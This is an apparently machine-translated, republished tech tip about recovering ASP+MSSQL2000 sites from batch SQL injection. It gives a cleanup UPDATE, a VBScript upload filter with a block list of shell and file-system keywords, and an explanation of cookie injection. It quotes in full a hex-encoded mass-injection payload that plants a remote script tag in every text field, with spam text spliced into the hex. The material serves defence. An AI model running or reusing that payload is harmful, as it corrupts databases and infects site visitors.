Solution of asp+mssql2000 database by batch injection 1th/2 page _ Application Tips

Source: Internet
Author: User
MSSQL each varchar, text fields are automatically inserted a section of JS code, even if the deletion of this code, if not resolved from the source, a few minutes later, the JS code will be automatically inserted into the database.
After drifting easy observation, this is probably the program automatically executed, hackers first from search engine Google, Baidu, such as the use of asp+mssql design of the site, and then use Ming such as injection scanning tools, scan the entire site, once found to have SQL injection of the vulnerability or upload a loophole, Hackers by all means, upload their own big horse, such as Haiyang Trojan; then, hackers put this site into his list of chickens, at any time in the database to add their own want to add the JS code, and these codes are often containing a large number of viruses, Trojans, and ultimately to access the controlled site of the user's computer poisoning.
Although, through the SQL Query Analyzer can perform batch substitution, temporarily solve the inserted JS code problems, but do not fundamentally solve the entire site's vulnerabilities, including the program and server security permissions, then hackers or at any time can invade your website database.
In SQL Query Analyzer, you can perform the following code batch substitution JS code:
Copy Code code as follows:

"Update table name set field name =replace (field name, ' <script src=http://c.n%75clear3.com/css/c.js></script> ', ')"

Flymorn carefully inspected the site and found several security issues with the site:
First, the site has a vulnerability upload, although the upload file requires Administrator authentication, but also upload files for file format authentication, but the administrator authentication using cookies, and cookies can be forged, and if the upload of the picture, do not take any judgment on the contents of the document, Then the picture Trojan is also very likely to be uploaded.
Resolution: 1 Delete upload file function (not very practical); 2 Modify upload user verification for session verification, 3 upload the file content for verification, if it is a picture trojan, then delete; you can refer to the following validation code:
Copy Code code as follows:

"=============== to determine if an uploaded file contains an illegal string start================
Set MyFile = Server. CreateObject ("Scripting.FileSystemObject")
Set MyText = Myfile.opentextfile (Server.MapPath (FilePath), 1) ' reads a text file
Stextall = LCase (Mytext.readall)
Mytext.close
Set MyFile = Nothing
Sstr= "<%|.getfolder|. createfolder|. deletefolder|. createdirectory|. deletedirectory|. Saveas|wscript.shell|script.encode|server.|. Createobject|execute|activexobject|language= "
snostring = Split (SStr, "|")
For i=0 to UBound (snostring)
If InStr (Stextall,snostring (i)) then
Set Filedel = Server. CreateObject ("Scripting.FileSystemObject")
Filedel.deletefile Server.MapPath (FilePath)
Set Filedel = Nothing
Response.Write (' <script>alert (' you uploaded the file has a problem, upload failed! '); History.back ();</script> ")
Response.End
End If
Next
"================= to determine if an uploaded file contains an illegal string end===================

Second, the site has a cookie injection loophole. As a result of programming, in order to consider reducing the cost of the server, all users after landing using cookies to verify that the cookies saved the user ID and NAME, and it is known that cookies are often hacked by hackers, this is one; In addition, some external parameters do not adopt strict Request.Form and Request.QueryString to obtain content, in order to be simple, using the request ("id") such a way.

We know that the ASP request is first from the form, querystring to obtain content, if the two are empty, you want to get content from cookies, we often take into account the design of the Request.Form and Request.QueryString SQL injection, so it is common to filter request.form and request.querystring for SQL injection, but it just forgets to filter the cookies in the way of injection. Let's look at the following SQL statements:
Copy Code code as follows:

Sql= "SELECT * from table name where id=" &request ("id")

If this ID happens to be a cookie to get the value, then think about it, what a terrible thing ah! The injector can easily forge a false cookie named ID, because the cookie for this ID is assigned to it by the server. This cookie can be forged into a piece of code similar to the following:
Copy Code code as follows:

DEcLaRe @s vArChAr (4000); SEt @s=cast ( 0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 It Talent Network (http://it.ad0.cn) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a as VArChAr (4000)), exec (@s);

Current 1/2 page 12 Next read the full text

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.